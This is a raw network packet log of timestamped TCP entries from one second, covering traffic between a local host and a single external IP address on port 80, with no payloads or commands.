Oct 7, 2024 18:43:15.786055088 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.786067963 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.786089897 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.786118031 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.786128044 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.786132097 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.786144018 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.786155939 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.786165953 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.786309004 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.786309004 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.786402941 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.786422968 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.786441088 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.786453009 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.786462069 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.786473989 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.786483049 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.786489010 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.786489964 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.786499023 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.786525965 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.786545038 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.786792994 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.786804914 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.786814928 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.786824942 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.786839962 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.786850929 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.786859035 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.786859035 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.786860943 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.786889076 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.786955118 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.786955118 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.786964893 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.786977053 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.786987066 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.786995888 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.787055969 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.787055969 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.787055969 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.867852926 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.867902994 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.867955923 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.867989063 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.868024111 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.868026972 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.868026972 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.868026972 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.868055105 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.868056059 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.868108988 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.868140936 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.868154049 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.868155003 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.868194103 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.868242979 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.868277073 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.868295908 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.868295908 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.868309975 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.868330956 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.868362904 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.868370056 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.868408918 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.868443012 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.868480921 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.868483067 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.868483067 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.868515015 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.868540049 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.868550062 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.868583918 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.868618965 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.868632078 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.868632078 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.868632078 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.868653059 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.868685961 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.868717909 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.868738890 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.868750095 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.868784904 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.868817091 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.868832111 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.868832111 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.868832111 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.868850946 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.868885040 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.868917942 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.868966103 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.868966103 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.868966103 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.868972063 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.869020939 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.869056940 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.869062901 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.869090080 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.869118929 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.869123936 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.869138956 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.869155884 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.869194031 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.869194031 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.869203091 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.869220972 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.869235039 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.869255066 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.869261026 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.869277000 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.869291067 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.869297028 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.869324923 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.869338989 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.869338989 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.869359970 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.869393110 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.869402885 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.869425058 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.869426966 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.869469881 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.869472980 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.869486094 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.869489908 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.869501114 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.869517088 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.869525909 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.869530916 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.869544983 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.869545937 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.869560003 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.869585037 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.869652987 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.869674921 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.869705915 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.869740963 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.869790077 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.869822979 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.869828939 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.869828939 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.869856119 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.869906902 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.869939089 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.869971991 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.869991064 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.869991064 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.869991064 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.870002985 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.870037079 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.870065928 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.870065928 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.870069027 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.870104074 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.870136976 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.870161057 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.870161057 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.870161057 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.870171070 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.870199919 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.870213032 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.870244980 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.870280027 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.870313883 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.870332956 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.870332956 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.870332956 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.870347023 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.870382071 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.870398045 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.870398045 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.870464087 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.870496988 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.870529890 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.870536089 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.870536089 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.870583057 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.870615959 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.870663881 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.870663881 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.870810986 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.870860100 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.870893002 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.870903015 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.870903015 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.870924950 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.870958090 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.870989084 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.870989084 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.871009111 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.871059895 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.871090889 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.871123075 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.871125937 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.871126890 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.871154070 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.871155977 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.871172905 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.871191025 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.871213913 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.871222973 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.871248007 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.871274948 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.871289015 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.871304035 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.871320009 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.871328115 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.871362925 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.871367931 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.871368885 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.871368885 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.871428967 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.871428967 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.871469975 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.871520996 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.871552944 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.871584892 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.871596098 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.871596098 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.871596098 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.871618986 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.871624947 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.871653080 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.871685982 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.871718884 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.871733904 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.871733904 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.871735096 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.871752024 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.871788025 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.871819973 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.871825933 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.871825933 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.871825933 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.871855021 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.871886015 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.871917963 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.871932983 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.871932983 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.871932983 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.871951103 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.871983051 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.872014999 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.872030020 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.872030020 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.872030020 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.872046947 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.872080088 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.872107983 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.872128010 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.872128010 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.872128010 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.872139931 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.872173071 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.872205019 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.872210026 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.872210026 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.872210026 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.872240067 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.872311115 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.950771093 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.950802088 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.950810909 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951069117 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.951069117 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.951559067 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951567888 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951577902 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951589108 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951597929 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951606989 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951616049 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951626062 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951630116 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951634884 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951638937 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951642990 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951651096 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951658964 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951672077 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951685905 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951695919 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951704979 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951714039 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951723099 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951731920 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951740026 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951749086 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951756954 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951766014 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951775074 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951785088 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951793909 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951803923 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951812029 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951824903 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.951824903 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.951875925 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.951903105 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951913118 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951920986 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951929092 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951937914 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951947927 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951956034 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951980114 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951989889 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.951997995 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.952014923 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.952014923 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.952014923 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.952071905 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.952246904 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.952256918 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.952265978 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.952275991 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.952286005 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.952296019 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.952303886 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.952323914 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.952323914 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.952343941 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.952368021 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.952380896 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.952393055 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.952511072 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.952519894 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.952528954 CEST	80	49699	46.8.231.109	192.168.2.7
Oct 7, 2024 18:43:15.952549934 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.952549934 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.952549934 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.952646017 CEST	49699	80	192.168.2.7	46.8.231.109
Oct 7, 2024 18:43:15.952652931 CEST	80	49699	46.8.231.109	192.168.2.7
